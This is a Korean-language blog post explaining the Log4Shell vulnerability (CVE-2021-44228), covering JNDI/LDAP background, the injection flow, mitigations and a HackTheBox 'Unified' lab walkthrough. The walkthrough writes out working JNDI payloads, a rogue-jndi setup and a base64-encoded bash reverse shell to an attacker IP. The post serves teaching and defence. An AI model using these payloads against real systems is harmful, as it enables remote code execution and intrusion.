Home CVE-2021-44228 Log4J/Log4Shell
Post
Cancel

CVE-2021-44228 Log4J/Log4Shell

요약

2021년 12월 10일에 인터넷을 강타한 새로운 취약점이 나왔다. (트위터에만 가도 대부분 피드가 이와 관련된 얘기다…)

해당 취약점으로 인해 서버를 장악할 수 있으며, Steam, Apple iCloud, VMWare 등이 취약한 것으로 알려졌다.

‘Log4Shell’ 이라는 명칭의 취약점으로 매우 인기있는 Java의 Logging 라이브러리인 Log4j (version 2)에서 JNDI Injection으로 인해 RCE가 발생한 것이다.

  • 영향 받는 버전: 2.0 ~ 2.14.1
  • 패치 버전: 2.15.0 이상 → 2.16.0 이상 (CVE-2021-45046이 나오면서 2.15.0도 취약한 것으로 알려졌다) + 2.16.0버전으로 업데이트 시, JNDI를 중지시키고, %m{lookups}를 완전히 제거한다
  • 취약한 JRE/JDK : older than 6u211, 7u201, 8u191, 11.0.1
  • 취약한 API : logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn()
  • 파생 CVE : CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832

What is JNDI Injection?

Log4Shell 취약점을 깊게 파고 들기 전에, JNDI에 대해서 알아야한다. 그 이유는 Log4Shell이 JNDI Injection을 통해서 발생했기 때문이다.

JNDI는 Java Naming and Directory Interface의 약자로, Naming과 Directory Service를 제공하는 Java API다.

Naming Service?

특정 객체를 참조(Lookup)하기 위해서는 그에 해당하는 ‘이름’(Name)을 사용하여 참조(Lookup)한다. 예를 들면 컴퓨터에서 하나의 파일 찾기 위해서는 그 파일의 이름을 검색해야한다. Naming Service가 바로 특정 객체를 어느 ‘이름’을 지정하여, 그 이름으로 해당 객체를 참조 할 수 있도록 해주는 서비스다.

가장 대표적인 케이스는 DNS (Domain Name System)으로 하나의 ‘이름’을 IP로 매핑시켜준다(Binding).

1
www.example.com ==> 192.0.2.5

Untitled

이런 Naming System의 Name에는 규칙이 따르고, 그 규칙을 사용하기 위해서 어떤 Naming System를 사용할지 명시한다. (LDAP, DNS, UNIX File System, etc.)

Untitled

  • 위와 같은 Naming System의 문법 구조를 ‘Naming Convention’이라 부른다.

Directory Service?

많은 Naming Service는 Directory Service로 확장되어 사용된다. ‘이름’으로 하나의 ‘객체’를 참조했다면, 이제 그 ‘객체’는 여러 원소들로 참조할 수 있다. Directory Service를 좀 더 풀어서 설명해보자면, 리소스에 대한 정보를 저장하여 사용자와 응용 프로그램이 리소스에 접근할 수 있게 만드는 서비스다.

요기서 중요한 사실은 Directory는 우리가 리눅스, 유닉스 등에서 생각하는 Directory(경로)가 아닌, 일종의 Database다. (데이터를 담는 ‘통’이라고 생각하면 쉽다. 전화번호부 처럼 정보를 보존하고 해당 목적에 맞게 필요한 사람들이 사용할 수 있게 해주는 것이라고 생각하면 된다.)

(Directory Service = Naming Service + Objects Containing Attributes)

Untitled

Directory는 여러개의 ‘원소’를 가질 수 있다. 예를 들면서 어떤 프린터는 특정 속도, 해상도, 색상을 갖는 객체로 나타낼 수 있을 것이며, 또 어떤 사용자는 이메일 주소, 핸드폰 번호, 우편 번호 등으로 나타낼 수 있을 것이다. 요기서 말하는 ‘속도’, ‘해상도’, ‘이메일 주소’, ‘핸드폰 번호’, 등이 바로 ‘원소’에 해당한다. 여러개의 원소들이 모여 하나의 객체를 나타낸다.

Directory Service는 Directory의 이런 원소들을 생성, 삭제, 수정, 등을 할 수 있도록 제공해주는 서비스다(API).

So What is JNDI?

이제 대충 Naming Service(System) 그리고 Directory Service에 대해서 알아보았다. JNDI는 이름에서 알 수 있듯이, Naming Service와 Directory Service를 제공해주는 API다. 이런 JNDI는 유저의 Java Software가 Data를 찾고 Resource를 사용할 수 있도록 도와주는 역할을 수행한다.

Untitled

JNDI 구조는 위 그림과 같이 ‘JNDI API’ 그리고 ‘JNDI SPI(Service Provider Interface)’로 이루어져 있다. Java App은 JNDI API를 이용해 Naming과 Directory Service에 접근한다. 그리고 SPI는 다양한 Naming & Directory Service들이 사용할 수 있는 서버를 제공한다(Ex: LDAP, DNS, NIS, 등).

  • 참고: 외국 원서들에서 SPI를 표현할 때 외부 Naming/Directory Service Provider를 해당 Java App을 제공하는 Platform에 Plug-In(꽂는)한다고 표현한다.

Ex) Java App이 LDAP을 이용해서 자원을 가져와야한다면, Java App이 JNDI API를 통해 LDAP서버에 있는 Naming & Directory Service에 LDAP형태로 연결한다.

  • JNDI를 이용해서 Directory Service가 제공하는 데이터 및 객체를 발견하고 값을 참고한다.

Untitled

  • JNDI Operations

Untitled

좀 더 자세히 살펴보면, Java App은 Java API를 통해 Look-Up(특정 Name/Object 찾기)을 진행한다. 이때 Java API는 Client Context, 즉, Client 단이다. 이런 Name 및 Object를 참조해오는 것은 어느 Server로 부터 갖고 오는 것인데, 그 서버의 Name & Directory Service가 각기 다름으로 그에 맞는 형태로 알맞게 연결해주는 것이 SPI다.

  • LDAP??? = LDAP은 Lightweight Directory Access Protocol의 약자로 말그대로 하나의 Protocol이다. 이 Protocol은 Network를 통해 다른 디렉토리 서비스와 통신하기 위한 ‘언어’와 ‘응용프로그램’을 제공한다. (Directory Service는 계정, 비밀번호, 등을 보관하고 있다)

JNDI Injection

JNDI Injection 다소 생소하고 모르는 개념이었다. 2016년 BlackHat에서 있었던 발표에서 JNDI를 굉장히 잘 설명하고 있다.

[https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

위 그림을 살펴보면 총 5단계가 존재하는 것을 확인 할 수 있다.

  1. 공격자는, 공격 Payload를 공격자의 Naming & Directory Service에 바인딩한다. (JNDI Injection의 핵심은 Naming & Directory Service를 Lookup할 때 공격자의 서버로 Lookup하도록 하는 것이다. 즉 외부에서 공격페이로드를 사용했을 때, 공격자의 서버에 호출이 가도록 하기 위한 것이다.)
  2. 공격자는 취약한 JNDI Lookup 메소드를 사용하는 서버에 공격자의 Naming & Directory Service 서버를 가르키는 URL(or Payload)를 삽입한다.
  3. 취약한 Application을 갖고 있는 서버는 Lookup을 수행
  4. 취약한 Application은 공격자의 Naming & Directory Service를 수행하는 서버에 연결하고, 공격자의 서버는 공격코드를 반환한다.
  5. 취약한 Application은 해당 Response 값을 해독하여 실행시킨다.

Log4J

Log4J 원인

Log4J는 “Message Lookup Substitution”이라는 기능을 제공하는데, 해당 기능은 특정 문자열 다른 문자열로 치환되도록한다. (Message Lookup Substitution : https://logging.apache.org/log4j/2.x/manual/lookups.html)

예를 들면 Running ${java:runtime} 이라는 문자열이 Logging되면 다음으로 바뀌면서 저장된다, Running Java version 1.7.0_67.

그리고 이 상황에서 JNDI와 LDAP 프로토콜을 함께사용하면 특정 서버로부터 Java Class를 갖고와 Deserialize를 하여 RCE가 가능하다. ( Ex : ${jndi:ldap://somedomain.com} )

Log4J Scenario

정말 간략하게 요약하자면 Log4Shell 취약점이 발생한것은, Log가 서버에 저장되면서, JNDI Lookup이 실행되어 타 서버로 부터 파일을 갖고오면서 발생한다. 이때 이 파일은 Java .class 파일로, 실행 파일이다.

Log4J는 JNDI API를 이용하여 서비스 제공자들로부터 Naming 및 Directory Service를 제공받는다.

Ex: LDAP, COS, RMI, DNS, 등

만약 모든 것이 제대로 동작한다면, ${jndi:logging/context-name}와 같은 코드가 프로그램 어딘가에 있을것이다.

정상적인 Log4J 프로세스

정상적인 Log4J 프로세스

다음은 Log4Shell의 Exploit과정이다.

공격 Flow

공격 Flow

  1. 공격자는 Payload가 담긴 HTTP Request를 취약한 서버로 전송한다. User-Agent: ${jndi:ldap://<host>:<port>/<path>}
  2. Request를 받은 취약한 서버는 LDAP Query로 공격자의 LDAP Server에 Query를 요청한다.
  3. 공격자의 LDAP Server는 RCE 같은 공격 Payload가 담긴 Link의 정보를 전송한다.
1
2
3
4
5
dn:
javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>
  • 요기서 javaCodeBasejavaFactory는 공격자의 Java Class(javaClassName, RCE를 위한 실행파일)의 위치를 나타내는 정보다.
    1. 취약한 서버는 공격자의 LDAP Server로 부터 받은 javaCodeBasejavaFactory를 조합하여 어든 URL정보로 Java Class(javaClassName)를 요청한다.
    2. 공격자의 HTTP Server에서 javaClassName 을 찾고 해당 Java Class 파일을 Response로 취약한 서버로 전송된다. 그리고 해당 실행 파일이 취약한 서버에서 실행되면서 공격이 완성된다.

Example

Vulnerable Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
   * This is pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String apiVersion = he.getRequestHeader("X-Api-Version");

    // This line triggers the RCE by logging the attacker-controlled HTTP header.
    // The attacker can set their X-Api-Version header to: ${jndi:ldap://some-attacker.com/a}
    log.info("Requested Api Version:{}", apiVersion);

    String response = "<h1>Hello from: " + apiVersion + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Test Exploit Payload

위의 취약한 코드를 exploit할 때 사용할 수 있는 Test 코드다.

1
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'

Real World Case Study

HackTheBox에 Unified 문제가 실제 Log4J로 인한 취약점으로 발생한 Real World Case다.

  • Target IP : 10.129.96.149
  • Attacker IP : 10.10.14.108

먼저 nmap을 통해 어떤 포트들이 열려있는지 대상을 Scanning한다.

1
$ sudo nmap -sV 10.129.96.149

Untitled

nmap을 통해 22, 6789, 8080, 8443포트가 열려있는 것을 확인 할 수 있다. 특이한 점은 8443은 ssl을 사용하고 있는 것인데, 요기에 접속해보면 아래와 같은 화면이 뜬다.

https://10.129.96.149:8443

https://10.129.96.149:8443

로그인 시도 시 발생하는 패킷을 살펴보면 다음과 같다.

Untitled

Unifi의 remember 부분에 Payload를 삽입하면 특이한 반응이 발생하는 것을 확인 할 수 있다.

Untitled

그리고 tcpdump를 이용하여 공격 가능여부를 확인 할 수 있다.

Untitled

이제 ReverseShell을 만들어 원격으로 접속해야하는데 이를 도와줄 툴을 사용하면 된다. (참고 : https://github.com/veracode-research/rogue-jndi)

먼저 아래 명령어를 통해 rogue-jndi를 설치해준다.

1
$ git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

이후 ReverseShell을 base64로 인코딩하여 출력한다.

1
echo 'bash -c bash -i >&/dev/tcp/10.10.14.108/4444 0>&1' | base64

local에서 4444번 포트를 Listen하는 NC를 열어둔다.

1
nc -lvnp 4444

다음 명령어에 이전에 만들었던 base64와 Host IP를 넣는다.

1
sudo java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTA4LzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.108"

명령어를 실행한 후 ${jndi:ldap://10.10.14.108:1389/o=tomcat} Payload를 입력하여 요청을 보내면 맨 아래 Sending~문구가 발생할 것이다.

Untitled

nc를 실행하고 있는 터미널을 확인하면 연결된 것을 확인 할 수 있다.

Untitled

Mitigation

  • 2.15.0 Version으로 업그레이드 - 가장 안전한 방법 → 생각보다 안전하지 않았던걸로… 해당 버전에서 취약점이 다시 발생하여, 2.16.0으로 업그레이드를 추천한다.
  • ‘formatMsgNoLookups’ 프로퍼티는 2.10.0 버전 이후에 추가되었으므로 해당 값을 ‘true’로 설정하면 된다. (2.10.0 버전 이후 - formatMsgNoLookups=true, 2.15.0 이후로는 Default로 설정되어 있다.)
  • 만약 업그레이드가 불가능하다면 아래의 2가지 방법이 존재한다.
    1. 모든 로깅패턴을 %m 대신에 %m{nolookups} 으로 번경하는 방법이다. (버전 2.7 이상)
    2. ‘org.apache.logging.log4j.core.lookup.JndiLookup’ class를 취약하지 않는 버전 혹은 비어있는 파일로 번경. (다소 힘들어 보임)
  • JNDI Patch를 코드레벨에서 하여 JNDI를 일시적으로 비활성화한다. (참고 : https://news.ycombinator.com/item?id=29507263)

Untitled

참고

Naming & Directory System

JNDI

JNDI Injection

Log4Shell

Penetration Test

Unifi Test Env

Logging Lookups

Mitigation

This post is licensed under CC BY 4.0 by the author.

Wacon2022 WriteUp(Web)

HTTP Request Smuggling(HRS)